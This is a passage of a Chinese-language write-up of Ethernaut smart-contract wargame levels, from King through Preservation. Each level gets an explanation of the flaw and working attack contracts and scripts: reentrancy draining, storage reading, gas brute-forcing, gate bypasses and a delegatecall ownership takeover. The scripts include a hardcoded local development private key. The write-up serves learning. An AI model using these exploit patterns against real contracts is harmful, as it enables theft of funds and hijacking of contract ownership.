报错,就不会执行king = msg.sender
,而前面Force
里提了“没有receive
函数的话转钱好像会报错”,所以搞个没有receive
的攻击合约向题目合约打钱即可
由于没有receive
,所以在攻击合约中用transfer
会报错,可以转用call
函数然后设value
,另把constructor
设payable
可以在Remix部署时转入钱,不过由于可以把prize
清零所以在这里用处并不大
攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Hack { address payable vicAddr = payable(0x400890FeB77E0e555D02f8969CA00850f65B96D2); constructor() payable {} function hack() public payable returns(bytes memory) { (bool success, bytes memory data) = vicAddr.call{value: msg.value}(''); require(success); return data; } function ng() public payable { vicAddr.transfer(msg.value); } }
首先看原king
1 2 3 4 await contract._king()(await contract.prize()).words[0 ]
提交一下,没通过但是无所谓,再看看prize
1 2 (await contract.prize()).words[0 ]
归零了,然后部署攻击合约,
调ng
的话会NG,因为没有receive
,可以调call
,设个0
以上的value
然后hack
即可
PS:后来试过即使有receive
,如果receive
里面的逻辑太复杂也会退回,因为transfer
有2300的Gas限制
再看看king
变成了合约地址,这时向题目合约转点钱看看
如无意外会报Transaction reverted without a reason string
,然后提交即可
参见: King of the Ether 和 King of the Ether Postmortem
10_Re-entrancy·
这一关的目标是偷走合约的所有资产.
这些可能有帮助:
不可信的合约可以在你意料之外的地方执行代码.
Fallback methods
抛出/恢复 bubbling
有的时候攻击一个合约的最好方式是使用另一个合约.
查看上方帮助页面, “Beyond the console” 部分
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } } receive() external payable {} }
由题目名可知是重入攻击,关于重入攻击,在WTF-Solidity 上有很详细的介绍,建议去康康
大概意思是,在题目合约向我攻击合约转账时,会调用攻击合约的receive
或fallback
函数,在receive
或fallback
执行完毕后才会继续call
后面的操作,
注意到扣款操作(balances[msg.sender] -= _amount
)在call
之后,所以如果攻击合约的receive
或fallback
中也调用withdraw
,则会在call
还没结束时调用withdraw
,于是可实现在上一笔withdraw
还没扣款就又可以取款
然后这一笔withdraw
里的call
又触发我receive
或fallback
中的withdraw
,所以可以达到循环提款且不用扣款
偷一个图方便理解
顺便偷一个receive
和fallback
的调用逻辑
理解原理后开始攻击,先看看题目合约余额
1 2 await web3.eth.getBalance(contract.address)
数额不大,设个value = 1000000000000000
,一次抽干
攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Reentrance { function balances() external; function donate(address _to) payable external; function balanceOf(address _who) view external; function withdraw(uint _amount) external; } contract Hack { Reentrance r; address payable vicAddr = payable(0x524F04724632eED237cbA3c37272e018b3A7967e); uint value = 1000000000000000; constructor() payable { r = Reentrance(vicAddr); } function hack() public payable { r.donate{value: value}(address(this)); r.withdraw(value); } receive() external payable { if (vicAddr.balance > 0) { r.withdraw(value); } } }
部署时记得转入1000000000000000 Wei
hack
后再看余额
1 2 await web3.eth.getBalance(contract.address)
归零,提交
11_Elevator·
电梯不会让你达到大楼顶部, 对吧?
这可能有帮助:
有的时候 solidity 不是很擅长保存 promises.
这个 电梯
期待被用在一个 建筑
里.
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
Building(msg.sender)
传入的是我的地址,所以可以控制isLastFloor
然后看要求是对于同一个输入,isLastFloor
第一次要返回false
,第二次返回true
,那就与输入无关就好了
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Elevator { function top() external; function floor() external; function goTo(uint _floor) external; } contract Building { Elevator e; address vicAddr = 0x033488800Ae672726c34620D4Bd817E1590d4cDc; bool coin = true; constructor() { e = Elevator(vicAddr); } function isLastFloor(uint f) public returns (bool) { coin = !coin; return coin; } function hack() public { e.goTo(1); } }
部署时会报Warning: Unused function parameter
,不用管
提交
阅读 Solidity’s documentation
12_Privacy·
这个合约的制作者非常小心的保护了敏感区域的 storage.
解开这个合约来完成这一关.
这些可能有帮助:
理解 storage 的原理
理解 parameter parsing 的原理
理解 casting 的原理
Tips:
记住 metamask 只是个普通的工具. 如果它有问题,可以使用别的工具. 进阶的操作应该包括 remix, 或是你自己的 web3 提供者.
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy { bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data; constructor(bytes32[3] memory _data) { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */ }
首先根据Vault 知道可以使用web3.eth.getStorageAt
获取合约的内存,问题就剩下怎么找到bytes16(data[2])
了
首先看看Solidity的内存分布,可以参考这里 的紧凑存储,大概意思是内存中存到Slot的顺序和代码中指定的顺序一致,但是存的时候会在保证顺序的前提下尽量把一个Slot填满,即如果可以找到两个(定长)变量合起来长度小于256 bits的话,就会把两个存在同一个Slot,靠前面的变量会存在内存较低的位置
分析一下可得这个合约的内存为(注:地址255 -> 0
)
1 2 3 4 5 6 0: 0(255) | locked(1) 1: ID(256) 2: 0(224) | awkwardness(16) | denomination(8) | flattening(8) 3: data[0](256) 4: data[1](256) 5: data[2](256)
这样的话data[2]
就应该拿web3.eth.getStorageAt(contract.address, 5)
但实际上解锁需要的是bytes16(data[2])
,所以还需要一个类型转换
根据这里 的说法,Solidity中bytes
是从高位填起,转换的话应该是拿data[2]
的高16字节
所以
1 2 3 4 var res = '0x' + (await web3.eth.getStorageAt(contract.address, 5 )).substr(2 , 32 );await contract.unlock(res);(await contract.locked()).toString()
提交即可
文章: How to read Ethereum contract storage
13_Gatekeeper One·
越过守门人并且注册为一个参赛者来完成这一关.
这可能有帮助:
想一想你在 Telephone 和 Token 关卡学到的知识.
你可以在 solidity 文档中更深入的了解 gasleft()
函数 (参见 here 和 here ).
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(gasleft() % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
GateOne·
gateOne
其实就是前面的Telephone ,抄过来即可。
但攻击合约我改了一下,为了在调试中减少合约部署的次数,把攻击对象地址等都设成了变量
hack.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface GatekeeperOne { function enter(bytes8 _gateKey) payable external; } contract Hack { constructor() {} function hack(uint256 g, address a, bytes8 b) public { address vicAddr = payable(a); GatekeeperOne go = GatekeeperOne(vicAddr); go.enter{gas: g}(b); } receive() external payable {} }
GateTwo·
大概是到gateTwo
函数的require
里,剩下的gas
要是8191
的倍数,其实这里枚举输入进去的gas
即可。
实际操作过程中会有一些坑,第一坑是,如果用MateMask交易的话,他好像会帮我计算一个最节省的gas
,导致hack
里面的{gas: g}
不起作用,估计是太抠了,到go.enter{gas: g}(b)
这里不够gas
了?
用Python打则没问题,所以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from web3 import Web3, HTTPProviderimport jsonimport timechainId = int (1337 ) RPC_url = 'http://localhost:8545' web3 = Web3(HTTPProvider(RPC_url)) state = web3.is_connected() print (state)if not state: exit(-1 ) player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266' sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80' account = web3.eth.account.from_key(sk) print (web3.eth.get_balance(player))hackAbi = '[{"inputs":[{"internalType":"uint256","name":"g","type":"uint256"},{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes8","name":"b","type":"bytes8"}],"name":"hack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"receive"}]' hackAbi = json.loads(hackAbi) hackAddress = '0x40918Ba7f132E0aCba2CE4de4c4baF9BD2D7D849' hackContract = web3.eth.contract(abi=hackAbi, address=hackAddress) gAddr = '0x5E3d0fdE6f793B3115A9E7f5EBC195bbeeD35d6C' for i in range (200 , 500 ): functionEncode = hackContract.encodeABI(fn_name="hack" , args=[819100 + i, gAddr, b'aaaaaaaa' ]) nonce = int (web3.eth.get_transaction_count(account.address)) tx = { 'chainId' : chainId, 'nonce' : nonce, 'gasPrice' : int (5000000 ), 'gas' : int (5000000 ), 'value' : int (0 ), 'from' : player, 'to' : hackAddress, 'data' : functionEncode, } try : sign = web3.eth.account.sign_transaction(tx, sk) hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex () print ('[Log] Sending transaction ...' ) result = web3.eth.wait_for_transaction_receipt(hashTx) print (result) except Exception as e: print (i) if e.args[0 ]['data' ]['message' ] != 'Error: Transaction reverted without a reason string' : print (e) break
以上hackAbi
和hackAddress
填上攻击合约hack.sol
部署后的ABI和地址,gAddr
填上题目合约地址,最后测出来需要输入的gas
是8191 * n + 256
还有另一个坑是,如果我用题目源码在Remix上面自己编一遍的话,会发现消耗的gas
会不一样,比如我用Remix上的0.8.0
编出来,测了一下需要8191 * n + 426
,明显和题目编的不一样
GateThree·
GateThree
就是Privacy 的内容,首先需要根据这里 的知识复习一下变量在内存的存储方式
如果把_gateKey
划分成gk7 | gk6 | ... | gk0
这8个Bytes的话,uint64(_gateKey)
就是直接把这8个Bytes转成数字
第一个条件中,uint32(uint64(_gateKey))
就是gk3 | gk2 | gk1 | gk0
这4个Bytes,uint16(uint64(_gateKey)
就是gk1 | gk0
这2个Bytes,现在要两者相等,就是要gk3
和gk2
都是\x00
第二个条件中,uint32(uint64(_gateKey)) != uint64(_gateKey)
就是要gk7 | gk6 | gk5 | gk4
这4个Bytes不全为\x00
第三个条件中,uint16(uint160(tx.origin)
就是tx.origin
的最低2个Bytes,uint32(uint64(_gateKey))
上面说了等于gk1 | gk0
,所以就是要gk1 | gk0
等于tx.origin
的最低2个Bytes
所以根据分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from web3 import Web3, HTTPProviderimport jsonimport timechainId = int (1337 ) RPC_url = 'http://localhost:8545' web3 = Web3(HTTPProvider(RPC_url)) state = web3.is_connected() print (state)if not state: exit(-1 ) player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266' sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80' account = web3.eth.account.from_key(sk) print (web3.eth.get_balance(player))hackAbi = '[{"inputs":[{"internalType":"uint256","name":"g","type":"uint256"},{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes8","name":"b","type":"bytes8"}],"name":"hack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"receive"}]' hackAbi = json.loads(hackAbi) hackAddress = '0x40918Ba7f132E0aCba2CE4de4c4baF9BD2D7D849' hackContract = web3.eth.contract(abi=hackAbi, address=hackAddress) gAddr = '0x5E3d0fdE6f793B3115A9E7f5EBC195bbeeD35d6C' functionEncode = hackContract.encodeABI(fn_name="hack" , args=[819100 + 256 , gAddr, b'aaaa\x00\x00' + bytes .fromhex(player[-4 :])]) nonce = int (web3.eth.get_transaction_count(account.address)) tx = { 'chainId' : chainId, 'nonce' : nonce, 'gasPrice' : int (5000000 ), 'gas' : int (5000000 ), 'value' : int (0 ), 'from' : player, 'to' : hackAddress, 'data' : functionEncode, } try : sign = web3.eth.account.sign_transaction(tx, sk) hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex () print ('[Log] Sending transaction ...' ) result = web3.eth.wait_for_transaction_receipt(hashTx) print (result) except Exception as e: print (e)
回到题目中看看
1 2 await contract.entrant()
提交即可
14_Gatekeeper Two·
这个守门人带来了一些新的挑战, 同样的需要注册为参赛者来完成这一关
这可能有帮助:
想一想你从上一个守门人那学到了什么.
第二个门中的 assembly
关键词可以让一个合约访问非原生的 vanilla solidity 功能. 参见 here . extcodesize
函数可以用来得到给定地址合约的代码长度 - 你可以在这个页面学习到更多 yellow paper .
^
符号在第三个门里是位操作 (XOR), 在这里是代表另一个常见的位操作 (参见 here ). Coin Flip 关卡也是一个很好的参考.
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
首先gateOne
和上一关类似,略了
gateTwo
调用了个内联汇编 ,但代码不长,所以还不用慌
extcodesize(caller())
大概意思是调用者的合约的代码长度,一般来说能做调用的话起码会有调用的代码,所以代码长度都应该大于0
,但有一种情况例外,就是合约创建时在contract
中调用,这时因为合约还没部署完成,所以不会查到代码长度,参考:这里
gateThree
就是算个异或,msg.sender
在攻击合约中就是address(this)
,所以在攻击代码中算出_gateKey
为
1 uint64 gk = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max;
然后发送时转成bytes8
即可
参考代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface GatekeeperTwo { function enter(bytes8 _gateKey) external; } contract Hack { constructor() { address vicAddr = 0xeC4cFde48EAdca2bC63E94BB437BbeAcE1371bF3; GatekeeperTwo gt = GatekeeperTwo(vicAddr); uint64 gk = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max; gt.enter(bytes8(gk)); } }
回到题目中
1 2 await contract.entrant()
提交即可
额
15_Naught Coin·
NaughtCoin 是一种 ERC20 代币,而且您已经持有这些代币。问题是您只能在 10 年之后才能转移它们。您能尝试将它们转移到另一个地址,以便您可以自由使用它们吗?通过将您的代币余额变为 0 来完成此关卡。
这可能有用
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20('NaughtCoin', '0x0') { player = _player; INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) override public lockTokens returns(bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } }
首先关于ERC20可以参考WTF Solidity
先看余额
1 2 (await contract.balanceOf(player)).toString() '1000000000000000000000000'
题目覆写了父类ERC20
的转账函数transfer
,加了个lockTokens
,而且lockTokens
的时间设置看着好像没问题。
翻文档可以知道ERC20
还有另一个转账函数是transferFrom
,而这个函数没被题目函数覆写,所以可以考虑跳过题目合约直接调用transferFrom
转账。
直接调用transferFrom会报ERC20: insufficient allowance
,参考这里 可知要调用approve
授权
1 await contract.approve(player, await contract.INITIAL_SUPPLY())
在MetaMask批准一下,然后转账
1 await contract.transferFrom(player, contract.address, await contract.balanceOf(player))
再看余额
1 2 (await contract.balanceOf(player)).toString() '0'
提交即可
16_Preservation·
该合约利用库合约保存 2 个不同时区的时间戳。合约的构造函数输入两个库合约地址用于保存不同时区的时间戳。
通关条件:尝试取得合约的所有权(owner
)。
可能有帮助的注意点:
深入了解 Solidity
官网文档中底层方法 delegatecall
的工作原理,它如何在链上和库合约中的使用该方法,以及执行的上下文范围。
理解 delegatecall
的上下文保留的含义
理解合约中的变量是如何存储和访问的
理解不同类型之间的如何转换
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; } }
先看一下owner
,不是我
1 2 await contract.owner()'0x59b670e9fA9D0A427751Af201D676719a970857b'
在Delegation 中已经接触过委托调用,委托调用大概的特点是,调用外部合约的代码,但是修改自己合约的内存变量,关于委托调用的更多知识可以参考WTF Solidity
在WTF其中提到合约B必须和目标合约C的变量存储布局必须相同
,然而题目的合约明显就布局不一样,可以测一下会发生什么,随便调用一下setFirstTime
1 2 3 4 5 6 7 8 9 10 11 await contract.timeZone1Library()await web3.eth.getStorageAt(contract.address, 0 )await contract.setFirstTime(123 )await contract.timeZone1Library()await web3.eth.getStorageAt(contract.address, 0 )
可以发现timeZone1Library
变量已经变成我从setFirstTime
传进去的参数,就是说,delegatecall
修改自己合约中的变量并不是按变量名修改,而是按内存地址修改
在LibraryContract
中第一个变量是storedTime
(256 bits),而在Preservation
中第一个变量是timeZone1Library
(256 bits),在使用delegatecall
调用LibraryContract
的setTime
时,他会去寻找被认为是storedTime
的第一个变量,但实际在Preservation
合约中的第一个变量是timeZone1Library
,所以最终改的是timeZone1Library
,(有点绕)
于是就可以自己怼一个攻击合约,在攻击合约中修改owner
,然后用上面方法把timeZone1Library
改成攻击合约的地址,最后再调用一次setFirstTime
获得权限
参考攻击合约(注意变量布局要和题目合约一致)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Hack { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; constructor() {} function setTime(uint _time) public { address player = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266; owner = player; } }
然后设一次时间覆盖timeZone1Library
的地址,由于setFirstTime
在测试的时候被污染了,所以用setSecondTime
,或者重开也行
1 2 3 4 var hack = '0xdbC43Ba45381e02825b14322cDdd15eC4B3164E6' ;await contract.setSecondTime(hack);await web3.eth.getStorageAt(contract.address, 0 )
然后调用setFirstTime
获取权限
1 2 3 await contract.setFirstTime(123 );await contract.owner()
提交即可